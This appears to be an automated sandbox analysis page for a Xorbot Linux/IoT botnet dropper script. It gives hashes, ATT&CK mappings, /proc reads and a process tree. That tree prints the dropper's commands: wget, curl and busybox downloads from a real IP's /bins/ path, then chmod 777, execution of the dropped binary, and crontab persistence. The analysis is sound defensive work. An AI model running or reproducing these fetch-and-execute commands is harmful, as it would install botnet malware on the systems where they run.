xorbot | b612719be4eeaff4ec62d76f3d0bf440a16fcbd9c27e2a324b76d03cd6be7443

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/12/2024, 04:10

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General

Target

bins.sh
Size

10KB
MD5

39580f676696da3a5b7eeeb7ad405702
SHA1

c331afcec4a9f84aa9d067e1710f0a8696edadd2
SHA256

b612719be4eeaff4ec62d76f3d0bf440a16fcbd9c27e2a324b76d03cd6be7443
SHA512

d6e4b9a1f45c79b301584f6d064d94d8f8efbbcca86117bc23999132d37716292c8fea905de86cc7665b07c6d394652b96525133498a241a4aca1d9e5b465cab
SSDEEP

96:3aeEFdcDLXxQQP3CoIoIoGoBoF4PL1EeA50xOaeEFd8eKDLXxQQWIbCoIoIoGoBI:5x3vFFjC2PL1EeKBFFjCkLC

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1488	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7	1489	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7

Renames itself 1 IoCs

pid	Process
1490	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.qqNNQD	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1543/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/168/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/668/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1228/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1562/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1504/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1531/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1548/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/412/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/587/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/11/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/155/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/160/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1557/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1558/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1579/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1495/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1512/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1547/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1580/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1584/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/637/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1172/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1541/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1239/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1497/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1588/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/3/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/17/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/21/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/405/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/660/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1554/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/457/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1035/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1176/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/627/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/946/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1520/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1539/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/34/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/514/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/559/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1057/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1255/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1571/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/420/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/507/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/588/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1126/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1141/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1511/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/476/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/937/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1550/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/477/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1140/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1174/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1458/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1529/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1589/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/169/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/506/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
File opened for reading	/proc/1122/cmdline	U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7	busybox
File opened for modification	/tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7	wget
File opened for modification	/tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1479
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1480
- /usr/bin/wget
  wget http://216.126.231.240/bins/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  2⤵
  - Writes file to tmp directory
  PID:1481
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  2⤵
  - Writes file to tmp directory
  PID:1485
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/chmod
  chmod 777 U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  ./U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1489
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1491
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1492
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1493
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1494
- /bin/rm
  rm U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y0OdZUvXlit86loYELzuMtBFV2F0VcQXv8
  2⤵
  PID:1499
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y0OdZUvXlit86loYELzuMtBFV2F0VcQXv8
  2⤵
  PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.qqNNQD

Filesize
210B

MD5
40ba35ff23d49fcfb55d7c338f5aacf3

SHA1
bef7dae15c411ba32892bcb3e6984aa769d247c9

SHA256
d313c967e202ed5a2e629471f3618cf257f9fd4ade0ec4e00d3f0ccc9355664b

SHA512
5e5a9f81080e1cff26f103fcf50431de4315b7fe6824d44e0c93e8f7af57d99eac716d3d2941a230011dfc7610db07420b83b237334b7a26c6ba2453d04dea68

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads